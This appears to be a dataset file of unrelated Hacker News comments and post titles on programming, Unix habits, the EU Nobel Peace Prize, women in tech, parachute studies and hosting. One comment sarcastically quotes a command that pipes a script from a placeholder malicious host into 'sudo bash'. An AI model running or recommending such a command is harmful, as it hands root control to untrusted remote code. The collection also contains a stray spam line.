skysight-inc/HackerNews huggingface dataset:
How does that work? Either you have shared objects and you need a global garbage collector, or you don't. Using shared objects with a local GC results in memory leaks.
Yeah I'm in Australia too :). Melbourne. I saw "Underground" on TV and became bored very easily. I read two paragraphs of the text version that you linked and I was hooked! Makes me wish I was 20 years younger. I suppose we have our own movements now, but the physical computer bazaar's and the culture sound awesome.
Many people seem incredulous, I think it makes sense when you look back at European history. European integration is a major factor that today Western Europe is at peace (and there isn't even the slightest bit of danger of there being a war among Western European nations) and doesn't look like the Balkans.

A war between Germany and France is completely unimaginable, no matter how much the government in France and Germany might disagree, a war wouldn't even make sense. Yes, the Cold War also contributed to that, but European integration helped create a Europe that is not in disarray. Sure, there are heated debates, crises and arguments (as should be expected and is very much normal), but unlike in the past there is practically no danger that those arguments could turn into war.

There are many things I do not like about how the European Union is set up (most of that is historical baggage – creating the EU was a hard, long and necessarily convoluted process), but with a peace prize I can agree.

But why now? The Nobel Peace Prize is supposed to encourage. Sometimes they are a bit early with their encouragement (see Obama), but that's the general idea. This is to say yes, the European project might have flaws, but it has also been a force for good.
My 30-day challenge with RubyMine
By "more women needed in technology", what it appears to actually be advocating is "more women needed in designing products for women, because men are condescending in their design of female-oriented products".

An interesting converse of this is that if you aren't building a female oriented consumer product, women probably aren't that helpful. If your product has primarily male consumers (e.g., that huge samsung phone, a database), you probably want to make sure your designers are all/mostly men.

I wish people would fully think through the logical implications of their arguments, since I somehow doubt the author of this piece would agree with that.
Media report: "SCIENTISTS CONFIRM: PARACHUTES INEFFECTIVE" "JUMPING OFF A PLANE WITHOUT A PARACHUTE CONSIDERED SAFE"
Alternatively there's the localtunnel gem which is good for quick sharing - http://progrium.com/localtunnel/

PageKite looks a lot more powerful though.
I've never experienced any of these problems.
vi always works for me and has done since about 1997.

This would be because you don't expect to navigate around vi with arrow keys when you're in insert mode.

[Although I've tested this on openbsd this morning, and even that seems to be supported now - a shame, it promotes bad habits.]

I'd guess that (like me) guard of tera came to unix via a redhat derivative, and developed all sorts of bad habits there which makes the transition to other unixes more difficult.

For me, this is a major reason for the success of linux with young developers - it makes some things easy and friendly, but in doing so locks you in to expectations that stymie your development. Not unlike Microsoft Word.

Coloured "ls" is one of those things that is
absolutely entirely useless if you actually know
how to use ls.

Another example of the same dynamic.
Interview with Laura Kalbag - James Brooks
Right, any language could do this -- `malloc` and friends return pointers aligned to 16 bytes

How does the having the bottom 4 bits free in a pointer help if you can't use them to tell the difference between a pointer and an integer 1 or 2? He is asking for a reserved set of bits on every data type so that he can store minimal type information like pointer, not pointer.
oh the irony - the article notes that "pink it and shrink it approach represents typically shallow thinking" and then we are invited to check out the twitter feed and website of "Belinda Parmar who is the author of Little Miss Geek".....
Narrow Water Bridge planning permission granted
This must once have been true of seatbelts too, before all the experiments that were done with dummies and cadavers.

One could argue that similar experiments should be done with parachutes: Throwing dummies and cadavers out of aircraft onto various surfaces (rock, grass, woodland etc.)

Interesting engineering problem too (you need a robot to pull the ripcord, but then it needs to get out of the way so it does not interfere with the outcome by causing additional injuries, adding too much weight etc.)
"So, I guess part of the story we're supposed to take away here is that the tablet and the smartphone should be no different, right?"

I think that's a pretty big assumption. But you are completely correct about touch and intuition.
The first laptop, for people with very large laps:

http://en.wikipedia.org/wiki/Osborne_1
The Peace Prize committee is an entirely separate entity from the rest of the Nobel committee and like to make up their own rules. The committees responsible for the science prizes are still bound by the rule that each prize can only be awarded to 3 people or less.
"This information comes from Burke's Peerage, which is the Bible of aristocratic genealogy, based in London. Every presidential election in America, since and including George Washington in 1789 to Bill Clinton, has been won by the candidate with the most British and French royal genes."
Knowing how to use non-colored ls is way down my
priority list now that colored ls is widely available

Fluency with permissions is fundamental knowledge for a competent unix operator. How many times have you worked with someone who doesn't really get it, but works around it by running everything as root or marking everything as 777? Fluency with permission goes hand-in-hand with habitual use of the long-list usage of ls. And if you do that, colours give you nothing. (although they do look pretty, and that's not a bad thing, and I leave them on for some configurations)

GNU info is much more useful than man pages, which are,
at best, memory aides for people who already know the
software and, at worst, confusing masses of trivia that
beg to be broken up into multiple pages.

That may be true on linux, but not universal.

A clear advantages to BSD is that tooling man pages are produced by a single team. They're more consistent and generally of a higher quality than on linux. In addition, tools tend to do one and only one thing, which promotes use of pipes and scripts rather than obscure tool features.
> If a whole paragraph is on one line, and I edit one word, then the diff consists of the whole paragraph, which is bad.

Yes, bad although logical. It's a shame we can't have one optimal convention for all common text that appears naturally in paragraph form. Absent diff and similar programs, lexical units consisting of paragraphs is the obvious choice.

> The post proposes a single line-break after each clause or sentence ...

Yes, which is the convention used in e-mail and elsewhere. But it throws away formatting information that can't be recovered (see below for the reason). Wouldn't it be better to revise diff so that it presents a subset of a paragraph containing the difference text, instead of having to break up the source document just to make diff happy?

Obviously if the text diff processes consists of programming source files, this issue may not be important. But in the general case, text naturally consists of paragraphs, not sentences, and to change text to make diff happy puts the cart before the horse.

The problem with recombining broken text is never more obvious than the case of a paragraph, broken into lines that will need to be merged, followed by a list of items meant to appear as individual lines, that should not be merged. A merge algorithm cannot distinguish the two cases in a deterministic way.
Ask HN: How do you manage issues/bugs, track features
Hi all, what process do you use to track issues, manage these and keep a list of the most requested features? I'm asking because there are millions of tools out there, all seem to be different versions of a to do list. Does anyone find it really unmotivating to track a list of ever expanding issues? How do you prioritise to stay focused on a few at a time. This adds more complexity when you want to launch new features at the same time.
[found the answer]
Has it been taken down or is it because I am on a Swedish IP?
"403 - Forbidden: Access is denied.
You do not have permission to view this directory or page using the credentials that you supplied."
Louis vuitton tote
A few possibly-relevant memories from 1983:

* I knew a few top execs who were happy to type (this was a software company). They (and many others of us in the company) had dial-up terminals at home. These were used to access the company mainframe.

* The main business cases in 1983 for the PC were typing letters/memos, primitive filing, and spreadsheets. These are things that top execs typically delegated to secretaries and middle managers.

* This thing cost more than multiple automobiles.

* The Military used male secretaries for typing. They also had more money than they knew what to do with in 1983.
You don't need a robot, systems that pull ripcord out on exit are used since WW2 in the military.
Speaking as a gov't contractor living in that region - ya, we get paid a lot of money. I'd probably have to take a 25% pay cut to go work in the commercial world. Plus, the job security is amazing. There are always thousands of openings.
On a side-project I'm working with someone else on at the moment, we're using Asana.

I'm the tech/coding part, whereas he has the domain knowledge, so we have a Workspace setup for the project, then have seperate projects within that - ie, at the moment we have a Front-End project, a Back-End project, a Phase 2 project and a Future project.

If it's a bug or something we want for launch it goes into Front or Back-End, for sometime after launch it's Phase 2 and a nice-to-have goes into Future - tasks get assigned to me when there's an action needed, once done I assign it back and once we're both happy then it's completed - we use the Comments to put notes down regarding ideas for how it should work/look etc. against the tasks.

One thing I like that Asana has recently got is sub-tasks, so you can break a task down into component tasks without cluttering your main Task list up.

Works for us, may not for anyone else though :)
Thanks for demystifying prototypes.
For me it's hard to think that you can have an object without defining its class. However it seems the right approach. We're speaking about Object orientation, not Class orientation so why bother with classes
Learning From People Who Do
Nice writeup by Ed Summers about how to learn to do the work we all do if you're not already doing it.
I realise you're joking, but interested to read more. What drives you crazy about the BSD socket API? Is there another model you've seen or worked with that improves on it?

I've never really considered the socket API in terms of whether it's good or bad - it's just part of reality. But I'm interested to know more.
Through the Eyes of a Colour-blind
Does the Linux kernel have test suites?
Go make me a sammage while I read this.
I've made the original link into a redirect.
So what's the catch? Why is it wrong?

Is it we know lesser falls cause death and as such we can extrapolate out.

Or since the differences are so pronounced there is no need for randomised placebo trails?
To get women into medicine, law, advertising, etc, it was sufficient to open the door.

Why is that insufficient in technology? What makes tech different from the other fields you mentioned?

(That lack of "affirmative steps" is not a good explanation, since the "affirmative steps" persist in tech even today.)
This is actually quite relevant for bicycle helmets. There is no evidence that they actually make you safer, and the debate can get very passionate.
How many secretaries do you see on _Mad Men_?

The big boss might have two. Everyone is who is anyone has his own. You are clearly a junior manager if you share a secretary. Only the peons type.

This changed. It changed slowly. For years, senior people did not type their own email, or even read it on a screen. A secretary would print it out, and the exec would dictate, live or to a recorded, any responses. Did the exec know how to type? No. Why should he? Having a keyboard is a sign that you don't have any power.

Long nails indicate that you don't do manual work. High heels mean you don't walk long distances. An expensive watch means you can afford one -- it tells the time about as accurately and about as reliably as a mid-priced or cheap watch.

How does it change? Very simply: when the people who are high-status do a certain thing, people who want to be like them copy it. When technical entrepreneurs became rich, people copied them. Do successful Wall Streeters carry Blackberries? Everybody else did, too.

Status, yes. And sexism, too: typing is women's work. Low status.
The piece of technology you're after is a static line: http://en.wikipedia.org/wiki/Static_line
Nice and incredibly pointless. Must be art then.
I'm all for what they are doing. And I'm for releasing articles to try and get press and awareness about the Mars rover and the efforts at NASA. But, yea, its supposed to be discovering new things, and its not like there has been some exhaustive study done on all the rocks of Mars (so I believe). They keep it up with these non-news news releases, people are going to get saturated or just plain fatigued.
That's just the userspace on top of the kernel though, not the OS (IMHO), though it's difficult to decide where to draw the line. By your measure Debian/kFreeBSD could well be linux...

I know OSX is a valid and real UNIX, and the kernel is a mach/BSD hybrid, I'm just not sure I'd count it as a BSD when the question is 'Why is linux more popular than BSD?'. IMHO the question implies Open/Net/Free/Whatever BSD, not OSX. What makes OSX popular is a whole variety of things, many quite separate to the things people find appealing (or not) about the BSDs. IMHO, YMMV, etc etc
Those are called static lines, but your parachute is open within seconds of leaving the aircraft. That doesn't allow you any freefall time in an "experiment."

Skydivers have had Automatic Opening Devices available for years, and some people use them. They're set to open at a specific altitude if you haven't already opened. The idea is that you may have lost consciousness from a medical problem or collision with another skydiver.

Aside: I used to skydive way back in the day. At the time the skydiving community was making the transition from round parachutes for students to square parachutes(the question had already been settled for experienced skydivers). My home drop zone did some testing with a few models of square parachute and a weighted dummy. They called it Elmer Thud.
Increasing Tomcat logging verbosity for quick problem resolution
Sounds like a great flow. We are using trello at the moment. A list each for current focus, bugs and new features for future dev. I can assign issue to someone in trello too but it's not very efficient and seeing lists of issues in a large board can be overwhelming.

We normally get together on Monday to sort these issues. Move urgent ones to the 'focus' list etc. But the main problem is that it's not very motivating to log issues and to solve them. It always looks like there are infinite amounts of work to do.
All programs can blow up at run time, the real question is if "strongly typed" is a good tradeoff. How many actual bugs does the compiler catch? Is it worth the extra pain?

Also, dynamic languages has a tendency to "blow up" in less serious ways..
MathML Support Coming To Chrome
Nobel Peace Prize awarded to European Union
> I'm sure someone will come up with a regexp that can take a 'standard' text file and split the lines on full stops and commas to restore an edited readable text file to 'semantic linefeed' source, thus allowing round trip copy editing.

Yes to the first, no to the second. The reason is that the act of recombining lines into paragraphs makes the assumption that lines broken by single linefeeds need to be merged into a paragraph. But in text, a list of items, meant to be read as a list, is also broken by single line feeds, and must not be turned into a paragraph.

One often sees posts here by beginners that include a list of items, but the rendered version assembles the list into a (typically unreadable) paragraph. More experienced hands know to break the list up with double linefeeds to defeat the "intelligent" reformatting algorithm.

The bottom line is that a recombining algorithm cannot distinguish a list of items from a paragraph of individual lines. The act of breaking text into lines loses information irretrievably.

Allow me a prediction: All these conventions that break text into individual lines and then try to reassemble them, i.e. this forum, the e-mail convention, and a thousand other examples, will eventually be abandoned in favor of leaving the text alone. This will happen when people realize they're throwing away information that cannot be recovered.

When I wrote Apple Writer in the late 1970s, the first change I made to common practice was retain the paragraph structure people naturally used in entering text (even though the displayed text was broken into lines on word boundaries). At the time, this was a bigger departure than it is now, and it helped make my program successful. But if I had been told then that people would still be defending the practice of breaking text into individual lines 35 years later, I would have laughed out loud.
Do you think your company has the best Visual Profile? Checkout DiscoverMatch..
Everyone does this. Even SQL Server, which runs on only Windows and is made by that very same company, had to have Fibres invented in the kernel so it can do its own user mode scheduling.

http://msdn.microsoft.com/en-us/library/aa175385(v=sql.80).a...
I love our sense of humour, very British:

"Contributors GCSS had the original idea. JPP tried to talk him out of it. JPP did the first literature search but GCSS lost it. GCSS drafted the manuscript but JPP deleted all the best jokes. GCSS is the guarantor, and JPP says it serves him right."
A coworker set 'tenancy' on EC2 to dedicated not understanding that it meant an extra $10 a hour charge!! The bill came in at a few thousand dollars that month. He contacted AWS and said it was set accidentally. AWS actually refunded the charges. From what i have heard, heroku doesn't do similar refunds, maybe AWS doesn't refund heroku charges.
I'm not playing with any of those things so they must be off by default. I'm just using it as a way to be able to easily run it on a modern system without having to mess around.
There are a few experiments that combine Newtonian gravity and quantum mechanics (1/3).

For example you can split a ray of neutrons, direct each beam throu a different path with different height and then make them collide and see the interference pattern. (The details are in the book of Sakurai "Modern Quantum Mechanics" pp127-129, with data from an experiment of Colella, Overhauser, Werner (1975).)

It is possible to create systems that combine 1/3, but they are almost corner cases and most of the time the other combinations are more useful.
curl -s https://some.probably.malicio.us/site/ |sudo bash

Yup, that is exactly what the world needs.
Where's the post from tokenadult about the methodological shortcomings of this paper?
Thanks, we've updated that now.
There's a difference between a bug and being tied to a platform for one application. To be fair, you can always switch to another OS (or even another distro) and use chromium.
Django follows Python's philosphy of "batteries included". In particular, it uses its own ORM. It also has a large ecosystem of pluggable apps, whether contrib modules or outside the Django tree.

Flask is a microframework. It lets you build your website in a single file if that's what you need, or scale up to multiple files/sub-websites if your website is more complex. It doesn't have its own ORM, but it's very easy to use SQLAlchemy (the best ORM/SQL abstraction framework out there, IMHO). Its templating engine (Jinja2) is superior to Django's. On the other hand, the list of plugins available is smaller than Django's.

Both have very good documentation.
Yeah, that needs changing ASAP.
The Author Of The 'Rich Dad, Poor Dad' Books Has Filed For Chapter 7 Bankruptcy
I don't remember if this was my own or I read it somewhere else, but I sometimes say "The best software is no software".
I was pleasantly surprised with their customer support, but unfortunately they still miss a few features (not being able to run ssh commands on the server is one) that prevent me from using AppFog for anything serious for now. I'm keeping a close eye on them.
Gem developers: Let the user choose the JavaScript engine
Possibly, but what makes engineering different from say law?

Higher social status. For any given amount of money the job with more autonomy wins. Also, just by virtue of being a more verbally focused field lawyers will tend to have higher social skills than the average engineer. Said differently engineering has a higher proportion of the socially maladroit than law. Women have much less tolerance for that kind of stuff.

All of the fields you mention, law, engineering, accounting demand intelligent, conscientious, hard working people but engineering is unusually willing to tolerate weirdness if the person can get the job done compated to the others and is less autonomous.

That doesn't explain everything but it goes a long way.
How to beat comment spam
Good network monitoring, clever firewalls, that kind of thing. "Cyberweapon" is a bandwagon, of course, but there are devices and services that you can buy that do tend to make networks more secure, and having more of those is not a bad thing.

My employer sells a device that permits one-way connections only: http://www.fox-it.com/en/products/datadiode/. The "one-way" part is trivial, of course - the clever part is in making standard protocols work over such a link.
With a Virtual Private Server (VPS) you are your own "master and commander." You're root.

I use linode for my VPS. slicehost is similar. They both offer decent publicly available documentation/tutorials, so if you can't find an answer or path in "your" providers docs, you can hop over to the other guy's.

With shared hosting you're a user on their (possibly virtual) server, with permission to do things. You're not root.

pair.com offers shared hosting, I used to use them, very stable and sober company.

http://www.lowendbox.com/ might lead you to a low cost provider, I haven't looked down that path.

I know a lot of people use http://www.bluehost.com/. I don't know if they're more VPS or more shared host. I know a lot of people use it to host actual businesses; a lot of those sites use Wordpress and various shopping cart and payment solutions.
...for all values of gravity?
It is not implying that men are not doing their job correctly.

We need more women in tech because a better male/female balance helps the industry grow.

More women will bring a new/different perspective in all areas of tech.
So is there something happening right now that older folks are rejecting due to sociological factors but the next generation is embracing?
APIs are the easiest thing to learn (and to forget). They basically mean that you have recent direct experience with whatever platform these APIs are on. I wouldn't stress to much about it.
> The committees responsible for the science prizes are still bound by the rule that each prize can only be awarded to 3 people or less.

ITYM s/less/fewer/

Yes, but there's talk that this longstanding convention may be at least temporarily broken with next year's physics Nobel. Little more than a rumor at this point.